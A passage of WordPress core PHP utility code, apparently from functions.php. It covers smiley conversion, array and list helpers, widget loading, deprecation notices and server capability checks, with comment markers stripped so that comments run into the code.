"\xf0\x9f\x99\x81", '8-)' => "\xf0\x9f\x98\x8e", '8-O' => "\xf0\x9f\x98\xaf", ':-(' => "\xf0\x9f\x99\x81", ':-)' => "\xf0\x9f\x99\x82", ':-?' => "\xf0\x9f\x98\x95", ':-D' => "\xf0\x9f\x98\x80", ':-P' => "\xf0\x9f\x98\x9b", ':-o' => "\xf0\x9f\x98\xae", ':-x' => "\xf0\x9f\x98\xa1", ':-|' => "\xf0\x9f\x98\x90", ';-)' => "\xf0\x9f\x98\x89", This one transformation breaks regular text with frequency. '8)' => "\xf0\x9f\x98\x8e", '8O' => "\xf0\x9f\x98\xaf", ':(' => "\xf0\x9f\x99\x81", ':)' => "\xf0\x9f\x99\x82", ':?' => "\xf0\x9f\x98\x95", ':D' => "\xf0\x9f\x98\x80", ':P' => "\xf0\x9f\x98\x9b", ':o' => "\xf0\x9f\x98\xae", ':x' => "\xf0\x9f\x98\xa1", ':|' => "\xf0\x9f\x98\x90", ';)' => "\xf0\x9f\x98\x89", ':!:' => "\xe2\x9d\x97", ':?:' => "\xe2\x9d\x93", ); } * * Filters all the smilies. * * This filter must be added before `smilies_init` is run, as * it is normally only run once to setup the smilies regex. * * @since 4.7.0 * * @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code. $wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans ); if ( count( $wpsmiliestrans ) == 0 ) { return; } * NOTE: we sort the smilies in reverse key order. This is to make sure * we match the longest possible smilie (:???: vs :?) as the regular * expression used below is first-match krsort( $wpsmiliestrans ); $spaces = wp_spaces_regexp(); Begin first "subpattern". $wp_smiliessearch = '/(?<=' . $spaces . '|^)'; $subchar = ''; foreach ( (array) $wpsmiliestrans as $smiley => $img ) { $firstchar = substr( $smiley, 0, 1 ); $rest = substr( $smiley, 1 ); New subpattern? if ( $firstchar != $subchar ) { if ( '' !== $subchar ) { $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; End previous "subpattern". $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; Begin another "subpattern". } $subchar = $firstchar; $wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:'; } else { $wp_smiliessearch .= '|'; } $wp_smiliessearch .= preg_quote( $rest, '/' ); } $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m'; } * * Merges user defined arguments into defaults array. * * This function is used throughout WordPress to allow for both string or array * to be merged into another array. * * @since 2.2.0 * @since 2.3.0 `$args` can now also be an object. * * @param string|array|object $args Value to merge with $defaults. * @param array $defaults Optional. Array that serves as the defaults. * Default empty array. * @return array Merged user defined values with defaults. function wp_parse_args( $args, $defaults = array() ) { if ( is_object( $args ) ) { $parsed_args = get_object_vars( $args ); } elseif ( is_array( $args ) ) { $parsed_args =& $args; } else { wp_parse_str( $args, $parsed_args ); } if ( is_array( $defaults ) && $defaults ) { return array_merge( $defaults, $parsed_args ); } return $parsed_args; } * * Converts a comma- or space-separated list of scalar values to an array. * * @since 5.1.0 * * @param array|string $input_list List of values. * @return array Array of values. function wp_parse_list( $input_list ) { if ( ! is_array( $input_list ) ) { return preg_split( '/[\s,]+/', $input_list, -1, PREG_SPLIT_NO_EMPTY ); } Validate all entries of the list are scalar. $input_list = array_filter( $input_list, 'is_scalar' ); return $input_list; } * * Cleans up an array, comma- or space-separated list of IDs. * * @since 3.0.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $input_list List of IDs. * @return int[] Sanitized array of IDs. function wp_parse_id_list( $input_list ) { $input_list = wp_parse_list( $input_list ); return array_unique( array_map( 'absint', $input_list ) ); } * * Cleans up an array, comma- or space-separated list of slugs. * * @since 4.7.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $input_list List of slugs. * @return string[] Sanitized array of slugs. function wp_parse_slug_list( $input_list ) { $input_list = wp_parse_list( $input_list ); return array_unique( array_map( 'sanitize_title', $input_list ) ); } * * Extracts a slice of an array, given a list of keys. * * @since 3.1.0 * * @param array $input_array The original array. * @param array $keys The list of keys. * @return array The array slice. function wp_array_slice_assoc( $input_array, $keys ) { $slice = array(); foreach ( $keys as $key ) { if ( isset( $input_array[ $key ] ) ) { $slice[ $key ] = $input_array[ $key ]; } } return $slice; } * * Sorts the keys of an array alphabetically. * * The array is passed by reference so it doesn't get returned * which mimics the behavior of `ksort()`. * * @since 6.0.0 * * @param array $input_array The array to sort, passed by reference. function wp_recursive_ksort( &$input_array ) { foreach ( $input_array as &$value ) { if ( is_array( $value ) ) { wp_recursive_ksort( $value ); } } ksort( $input_array ); } * * Accesses an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $input_array = array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * _wp_array_get( $input_array, array( 'a', 'b', 'c' ) ); * * @internal * * @since 5.6.0 * @access private * * @param array $input_array An array from which we want to retrieve some information. * @param array $path An array of keys describing the path with which to retrieve information. * @param mixed $default_value Optional. The return value if the path does not exist within the array, * or if `$input_array` or `$path` are not arrays. Default null. * @return mixed The value from the path specified. function _wp_array_get( $input_array, $path, $default_value = null ) { Confirm $path is valid. if ( ! is_array( $path ) || 0 === count( $path ) ) { return $default_value; } foreach ( $path as $path_element ) { if ( ! is_array( $input_array ) || ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) || ! array_key_exists( $path_element, $input_array ) ) { return $default_value; } $input_array = $input_array[ $path_element ]; } return $input_array; } * * Sets an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $input_array = array(); * _wp_array_set( $input_array, array( 'a', 'b', 'c', 1 ) ); * * $input_array becomes: * array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * * @internal * * @since 5.8.0 * @access private * * @param array $input_array An array that we want to mutate to include a specific value in a path. * @param array $path An array of keys describing the path that we want to mutate. * @param mixed $value The value that will be set. function _wp_array_set( &$input_array, $path, $value = null ) { Confirm $input_array is valid. if ( ! is_array( $input_array ) ) { return; } Confirm $path is valid. if ( ! is_array( $path ) ) { return; } $path_length = count( $path ); if ( 0 === $path_length ) { return; } foreach ( $path as $path_element ) { if ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) { return; } } for ( $i = 0; $i < $path_length - 1; ++$i ) { $path_element = $path[ $i ]; if ( ! array_key_exists( $path_element, $input_array ) || ! is_array( $input_array[ $path_element ] ) ) { $input_array[ $path_element ] = array(); } $input_array = &$input_array[ $path_element ]; phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.VariableRedeclaration } $input_array[ $path[ $i ] ] = $value; } * * This function is trying to replicate what * lodash's kebabCase (JS library) does in the client. * * The reason we need this function is that we do some processing * in both the client and the server (e.g.: we generate * preset classes from preset slugs) that needs to * create the same output. * * We can't remove or update the client's library due to backward compatibility * (some of the output of lodash's kebabCase is saved in the post content). * We have to make the server behave like the client. * * Changes to this function should follow updates in the client * with the same logic. * * @link https:github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369 * @link https:github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278 * @link https:github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php * @link https:github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php * * @param string $input_string The string to kebab-case. * * @return string kebab-cased-string. function _wp_to_kebab_case( $input_string ) { phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase ignore the camelCase names for variables so the names are the same as lodash so comparing and porting new changes is easier. * Some notable things we've removed compared to the lodash version are: * * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper * * Used to compose unicode character classes. $rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff'; $rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf'; $rsPunctuationRange = '\\x{2000}-\\x{206f}'; $rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}'; $rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde'; $rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange; * Used to compose unicode capture groups. $rsBreak = '[' . $rsBreakRange . ']'; $rsDigits = '\\d+'; The last lodash version in GitHub uses a single digit here and expands it when in use. $rsLower = '[' . $rsLowerRange . ']'; $rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']'; $rsUpper = '[' . $rsUpperRange . ']'; * Used to compose unicode regexes. $rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')'; $rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')'; $rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])'; $rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])'; $regexp = '/' . implode( '|', array( $rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')', $rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')', $rsUpper . '?' . $rsMiscLower . '+', $rsUpper . '+', $rsOrdUpper, $rsOrdLower, $rsDigits, ) ) . '/u'; preg_match_all( $regexp, str_replace( "'", '', $input_string ), $matches ); return strtolower( implode( '-', $matches[0] ) ); phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase } * * Determines if the variable is a numeric-indexed array. * * @since 4.4.0 * * @param mixed $data Variable to check. * @return bool Whether the variable is a list. function wp_is_numeric_array( $data ) { if ( ! is_array( $data ) ) { return false; } $keys = array_keys( $data ); $string_keys = array_filter( $keys, 'is_string' ); return count( $string_keys ) === 0; } * * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * When using the `$field` argument, this function can also retrieve * a particular field from all matching objects, whereas wp_list_filter() * only does the filtering. * * @since 3.0.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $input_list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @param bool|string $field Optional. A field from the object to place instead * of the entire object. Default false. * @return array A list of objects or object fields. function wp_filter_object_list( $input_list, $args = array(), $operator = 'and', $field = false ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); $util->filter( $args, $operator ); if ( $field ) { $util->pluck( $field ); } return $util->get_output(); } * * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * If you want to retrieve a particular field from all matching objects, * use wp_filter_object_list() instead. * * @since 3.1.0 * @since 4.7.0 Uses `WP_List_Util` class. * @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`. * * @param array $input_list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. function wp_list_filter( $input_list, $args = array(), $operator = 'AND' ) { return wp_filter_object_list( $input_list, $args, $operator ); } * * Plucks a certain field out of each object or array in an array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 3.1.0 * @since 4.0.0 $index_key parameter added. * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $input_list List of objects or arrays. * @param int|string $field Field from the object to place instead of the entire object. * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$input_list` will be preserved in the results. function wp_list_pluck( $input_list, $field, $index_key = null ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); return $util->pluck( $field, $index_key ); } * * Sorts an array of objects or arrays based on one or more orderby arguments. * * @since 4.7.0 * * @param array $input_list An array of objects or arrays to sort. * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as `$orderby => $order`. * Default empty array. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if `$orderby` * is a string. Default 'ASC'. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. function wp_list_sort( $input_list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); return $util->sort( $orderby, $order, $preserve_keys ); } * * Determines if Widgets library should be loaded. * * Checks to make sure that the widgets library hasn't already been loaded. * If it hasn't, then it will load the widgets library and run an action hook. * * @since 2.2.0 function wp_maybe_load_widgets() { * * Filters whether to load the Widgets library. * * Returning a falsey value from the filter will effectively short-circuit * the Widgets library from loading. * * @since 2.8.0 * * @param bool $wp_maybe_load_widgets Whether to load the Widgets library. * Default true. if ( ! apply_filters( 'load_default_widgets', true ) ) { return; } require_once ABSPATH . WPINC . '/default-widgets.php'; add_action( '_admin_menu', 'wp_widgets_add_menu' ); } * * Appends the Widgets menu to the themes main menu. * * @since 2.2.0 * @since 5.9.3 Don't specify menu order when the active theme is a block theme. * * @global array $submenu function wp_widgets_add_menu() { global $submenu; if ( ! current_theme_supports( 'widgets' ) ) { return; } $menu_name = __( 'Widgets' ); if ( wp_is_block_theme() || current_theme_supports( 'block-template-parts' ) ) { $submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } else { $submenu['themes.php'][7] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } ksort( $submenu['themes.php'], SORT_NUMERIC ); } * * Flushes all output buffers for PHP 5.2. * * Make sure all output buffers are flushed before our singletons are destroyed. * * @since 2.2.0 function wp_ob_end_flush_all() { $levels = ob_get_level(); for ( $i = 0; $i < $levels; $i++ ) { ob_end_flush(); } } * * Loads custom DB error or display WordPress DB error. * * If a file exists in the wp-content directory named db-error.php, then it will * be loaded instead of displaying the WordPress DB error. If it is not found, * then the WordPress DB error will be displayed instead. * * The WordPress DB error sets the HTTP status header to 500 to try to prevent * search engines from caching the message. Custom DB messages should do the * same. * * This function was backported to WordPress 2.3.2, but originally was added * in WordPress 2.5.0. * * @since 2.3.2 * * @global wpdb $wpdb WordPress database abstraction object. function dead_db() { global $wpdb; wp_load_translations_early(); Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } If installing or in the admin, provide the verbose message. if ( wp_installing() || defined( 'WP_ADMIN' ) ) { wp_die( $wpdb->error ); } Otherwise, be terse. wp_die( '<h1>' . __( 'Error establishing a database connection' ) . '</h1>', __( 'Database Error' ) ); } * * Converts a value to non-negative integer. * * @since 2.5.0 * * @param mixed $maybeint Data you wish to have converted to a non-negative integer. * @return int A non-negative integer. function absint( $maybeint ) { return abs( (int) $maybeint ); } * * Marks a function as deprecated and inform when it has been used. * * There is a hook {@see 'deprecated_function_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every function that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function_name The function that was called. * @param string $version The version of WordPress that deprecated the function. * @param string $replacement Optional. The function that should have been called. Default empty string. function _deprecated_function( $function_name, $version, $replacement = '' ) { * * Fires when a deprecated function is called. * * @since 2.5.0 * * @param string $function_name The function that was called. * @param string $replacement The function that should have been called. * @param string $version The version of WordPress that deprecated the function. do_action( 'deprecated_function_run', $function_name, $replacement, $version ); * * Filters whether to trigger an error for deprecated functions. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( translators: 1: PHP function name, 2: Version number, 3: Alternative function name. __( 'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $function_name, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( translators: 1: PHP function name, 2: Version number. __( 'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $function_name, $version ), E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( 'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function_name, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function_name, $version ), E_USER_DEPRECATED ); } } } } * * Marks a constructor as deprecated and informs when it has been used. * * Similar to _deprecated_function(), but with different strings. Used to * remove PHP4 style constructors. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every PHP4 style constructor method that is deprecated. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $class_name The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class Optional. The parent class calling the deprecated constructor. * Default empty string. function _deprecated_constructor( $class_name, $version, $parent_class = '' ) { * * Fires when a deprecated constructor is called. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @param string $class_name The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class The parent class calling the deprecated constructor. do_action( 'deprecated_constructor_run', $class_name, $version, $parent_class ); * * Filters whether to trigger an error for deprecated functions. * * `WP_DEBUG` must be true in addition to the filter evaluating to true. * * @since 4.3.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $parent_class ) { trigger_error( sprintf( translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. __( 'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ), $class_name, $parent_class, $version, '<code>__construct()</code>' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( translators: 1: PHP class name, 2: Version number, 3: __construct() method. __( 'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $class_name, $version, '<code>__construct()</code>' ), E_USER_DEPRECATED ); } } else { if ( $parent_class ) { trigger_error( sprintf( 'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.', $class_name, $parent_class, $version, '<code>__construct()</code>' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $class_name, $version, '<code>__construct()</code>' ), E_USER_DEPRECATED ); } } } } * * Marks a file as deprecated and inform when it has been used. * * There is a hook {@see 'deprecated_file_included'} that will be called that can be used * to get the backtrace up to what file and function included the deprecated * file. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every file that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $file The file that was included. * @param string $version The version of WordPress that deprecated the file. * @param string $replacement Optional. The file that should have been included based on ABSPATH. * Default empty string. * @param string $message Optional. A message regarding the change. Default empty string. function _deprecated_file( $file, $version, $replacement = '', $message = '' ) { * * Fires when a deprecated file is called. * * @since 2.5.0 * * @param string $file The file that was called. * @param string $replacement The file that should have been included based on ABSPATH. * @param string $version The version of WordPress that deprecated the file. * @param string $message A message regarding the change. do_action( 'deprecated_file_included', $file, $replacement, $version, $message ); * * Filters whether to trigger an error for deprecated files. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated files. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( translators: 1: PHP file name, 2: Version number, 3: Alternative file name. __( 'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( translators: 1: PHP file name, 2: Version number. __( 'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $file, $version ) . $message, E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( 'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message, E_USER_DEPRECATED ); } } } } * * Marks a function argument as deprecated and inform when it has been used. * * This function is to be used whenever a deprecated function argument is used. * Before this function is called, the argument must be checked for whether it was * used by comparing it to its default value or evaluating whether it is empty. * For example: * * if ( ! empty( $deprecated ) ) { * _deprecated_argument( __FUNCTION__, '3.0.0' ); * } * * There is a hook deprecated_argument_run that will be called that can be used * to get the backtrace up to what file and function used the deprecated * argument. * * The current behavior is to trigger a user error if WP_DEBUG is true. * * @since 3.0.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function_name The function that was called. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message Optional. A message regarding the change. Default empty string. function _deprecated_argument( $function_name, $version, $message = '' ) { * * Fires when a deprecated argument is called. * * @since 3.0.0 * * @param string $function_name The function that was called. * @param string $message A message regarding the change. * @param string $version The version of WordPress that deprecated the argument used. do_action( 'deprecated_argument_run', $function_name, $message, $version ); * * Filters whether to trigger an error for deprecated arguments. * * @since 3.0.0 * * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $message ) { trigger_error( sprintf( translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. __( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s' ), $function_name, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( translators: 1: PHP function name, 2: Version number. __( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $function_name, $version ), E_USER_DEPRECATED ); } } else { if ( $message ) { trigger_error( sprintf( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function_name, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function_name, $version ), E_USER_DEPRECATED ); } } } } * * Marks a deprecated action or filter hook as deprecated and throws a notice. * * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where * the deprecated hook was called. * * Default behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is called by the do_action_deprecated() and apply_filters_deprecated() * functions, and so generally does not need to be called directly. * * @since 4.6.0 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * @access private * * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty string. * @param string $message Optional. A message regarding the change. Default empty. function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) { * * Fires when a deprecated hook is called. * * @since 4.6.0 * * @param string $hook The hook that was called. * @param string $replacement The hook that should be used as a replacement. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message A message regarding the change. do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); * * Filters whether to trigger deprecated hook errors. * * @since 4.6.0 * * @param bool $trigger Whether to trigger deprecated hook errors. Requires * `WP_DEBUG` to be defined true. if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( $replacement ) { trigger_error( sprintf( translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. __( 'Hook %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( translators: 1: WordPress hook name, 2: Version number. __( 'Hook %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message, E_USER_DEPRECATED ); } } } * * Marks something as being incorrectly called. * * There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * @since 3.1.0 * @since 5.4.0 This function is no longer marked as "private". * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. function _doing_it_wrong( $function_name, $message, $version ) { * * Fires when the given function is being used incorrectly. * * @since 3.1.0 * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. do_action( 'doing_it_wrong_run', $function_name, $message, $version ); * * Filters whether to trigger an error for _doing_it_wrong() calls. * * @since 3.1.0 * @since 5.1.0 Added the $function_name, $message and $version parameters. * * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true. * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function_name, $message, $version ) ) { if ( function_exists( '__' ) ) { if ( $version ) { translators: %s: Version number. $version = sprintf( __( '(This message was added in version %s.)' ), $version ); } $message .= ' ' . sprintf( translators: %s: Documentation URL. __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ), __( 'https:wordpress.org/documentation/article/debugging-in-wordpress/' ) ); trigger_error( sprintf( translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. __( 'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function_name, $message, $version ), E_USER_NOTICE ); } else { if ( $version ) { $version = sprintf( '(This message was added in version %s.)', $version ); } $message .= sprintf( ' Please see <a href="%s">Debugging in WordPress</a> for more information.', 'https:wordpress.org/documentation/article/debugging-in-wordpress/' ); trigger_error( sprintf( 'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function_name, $message, $version ), E_USER_NOTICE ); } } } * * Determines whether the server is running an earlier than 1.5.0 version of lighttpd. * * @since 2.5.0 * * @return bool Whether the server is running lighttpd < 1.5.0. function is_lighttpd_before_150() { $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' ); $server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : ''; return ( 'lighttpd' === $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' ) ); } * * Determines whether the specified module exist in the Apache config. * * @since 2.5.0 * * @global bool $is_apache * * @param string $mod The module, e.g. mod_rewrite. * @param bool $default_value Optional. The default return value if the module is not found. Default false. * @return bool Whether the specified module is loaded. function apache_mod_loaded( $mod, $default_value = false ) { global $is_apache; if ( ! $is_apache ) { return false; } $loaded_mods = array(); if ( function_exists( 'apache_get_modules' ) ) { $loaded_mods = apache_get_modules(); if ( in_array( $mod, $loaded_mods, true ) ) { return true; } } if ( empty( $loaded_mods ) && function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) { ob_start(); phpinfo( INFO_MODULES ); $phpinfo = ob_get_clean(); if ( false !== strpos( $phpinfo, $mod ) ) { return true; } } return $default_value; } * * Checks if IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @global bool $is_iis7 * * @return bool Whether IIS7 supports permalinks. function iis7_supports_permalinks() { global $is_iis7; $supports_permalinks = false; if ( $is_iis7 ) { First we check if the DOMDocument class exists. If it does not exist, then we cannot * easily update the xml configuration file, hence we just bail out and tell user that * pretty permalinks cannot be used. * * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs * via ISAPI then pretty permalinks will not work. $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI ); } * * Filters whether IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false. return apply_filters( 'iis7_supports_permalinks', $supports_permalinks ); } * * Validates a file name and path against an allowed set of rules. * * A return value of `1` means the file path contains directory traversal. * * A return value of `2` means the file path contains a Windows drive path. * * A return value of `3` means the file is not in the allowed files list. * * @since 1.2.0 * * @param string $file File path. * @param string[] $allowed_files Optional. Array of allowed files. Default empty array. * @return int 0 means nothing is wrong, greater than 0 means something was wrong. function 